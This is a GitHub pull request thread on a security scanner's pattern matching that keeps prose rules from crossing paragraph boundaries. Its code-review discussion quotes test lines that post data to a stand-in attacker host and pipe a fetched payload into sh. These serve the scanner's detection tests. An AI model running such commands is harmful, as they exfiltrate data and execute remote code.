Skip to content

fix(static): prevent patterns crossing paragraph boundaries - #491

Merged
rng1995 merged 2 commits into
NVIDIA:mainfrom
atirna:fix/static-paragraph-boundaries
Sep 18, 2026
Merged

rng1995 merged 2 commits into
NVIDIA:mainfrom
atirna:fix/static-paragraph-boundaries

Conversation

@atirna

@atirna atirna commented Sep 6, 2026 •

Copy link
Copy Markdown
Contributor

Why

Static prose patterns could join unrelated paragraphs, such as enable\n\nAny tools in EA1.

Summary

  • Stop prose patterns at blank paragraph boundaries, including the mixed prose/code rule groups.
  • Preserve soft wraps within a paragraph, multiline Python/JavaScript/shell signatures, and P9 whitespace-padding detection.

Fixes #446

Verification

  • Paragraph cases fail on the previous implementation and pass with the change, including LF and CRLF input. Executable multiline controls pass before and after.
  • 879 tests pass across test_static_runner_filtering.py, test_static_code_blank_lines.py, test_patterns_new.py, test_static_patterns.py, test_static_false_positive_controls.py, and test_static_patterns_supply_chain_lockfiles.py.
  • ruff check src/ tests/ and ruff format --check src/ tests/ pass.

@atirna
atirna force-pushed the fix/static-paragraph-boundaries branch from d49d9ff to 63bc86a Compare September 6, 2026 23:24
@atirna

atirna commented Sep 6, 2026

Copy link
Copy Markdown
Contributor Author

pushed the required DCO sign-off to the follow-up commit. Source diff is unchanged.

@rng1995 rng1995 left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[SkillSpector Review]

Changes requested at head 63bc86a946039daaf947e4edab572427892c4f01.

  • src/skillspector/nodes/analyzers/static_runner.py:161: blank lines are paragraph boundaries in prose, but not semantic boundaries in executable source. Replacing whole-content regex iteration across the code analyzers means a valid call such as requests.post(\n\n "https://attacker", json=data) can no longer match any DOTALL rule that previously recognized it. Restrict paragraph segmentation to documentation/prose rules (or otherwise retain whole-source matching for executable content), and add regression tests for security-sensitive Python/JavaScript/shell constructs that span blank lines.
  • Required test-unit is red on test_rd04_large_file_pair_detects_start_boundary_and_end, where analysis unexpectedly becomes incomplete. Resolve or demonstrate with a green rerun that this is unrelated.

The PR is also BEHIND; it is not merge-ready.

@atirna

atirna commented Sep 17, 2026 •

Copy link
Copy Markdown
Contributor Author

segmenting everything made the code rules blind. rebased onto main and restricted paragraph matching to the prose rule groups, executable and structured ones keep whole-source finditer including inside markdown fences.

your example is one of the new cases:

requests.post(\n\n    "https://attacker", json=data)
fetch(\n\n    "https://attacker", {method: "POST", body: data})
curl https://attacker/payload |\n\n    sh

python, js and shell, each in plain source and in a fenced block, 6 cases. all 6 fail on 63bc86a and pass here.

full unit suite: main 5028 passed, this branch 5038, both failure sets empty. lint and formatting clean.

on test_rd04_large_file_pair_detects_start_boundary_and_end, i couldnt reproduce it. it passes locally on main, on the old head, on this head and on the original base, with and without coverage. so i dont know what the CI run hit and im not claiming to have fixed it, worth a rerun to see if it sticks.

one thing to flag since it changes the diff: 7 analyzers this PR used to touch are untouched now (agent_snooping, deserialization, privilege_escalation, rogue_agent, ssrf, supply_chain, tool_misuse). those are the executable ones, leaving them on whole-source matching is the fix. also fixed CRLF being treated as a paragraph boundary while i was in there.

@atirna

atirna commented Sep 17, 2026

Copy link
Copy Markdown
Contributor Author

the remaining mixed rule groups now split only prose at paragraph boundaries. multiline Python, JS and shell matches are preserved. lint, formatting and the affected scanner tests pass.

@atirna
atirna force-pushed the fix/static-paragraph-boundaries branch from 6cdde6e to df51c6f Compare September 17, 2026 12:05

@rng1995 rng1995 left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[SkillSpector Review]

Re-reviewed exact head df51c6f03fac64337d8301514036796ba46d899d against the prior requested changes. Paragraph segmentation is now applied only to prose signatures, while executable and structured signatures retain whole-source matching. The added matrix covers Python, JavaScript, shell, YAML, configuration, and documented executable snippets spanning blank lines, including the previously reported requests.post case. The prose boundary suite covers LF/CRLF and soft-wrap versus blank-line behavior.

The previously failing large-file regression is green, and all exact-head hosted checks pass. I found no remaining required code, test, documentation, security, or compatibility changes on this head.

@rng1995
rng1995 merged commit 175df11 into NVIDIA:main Sep 18, 2026
6 checks passed
@atirna
atirna deleted the fix/static-paragraph-boundaries branch September 18, 2026 12:08
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Static patterns: \s+/\s* cross paragraph boundaries — 1,485 occurrences across all 15 pattern files (systemic #405)

2 participants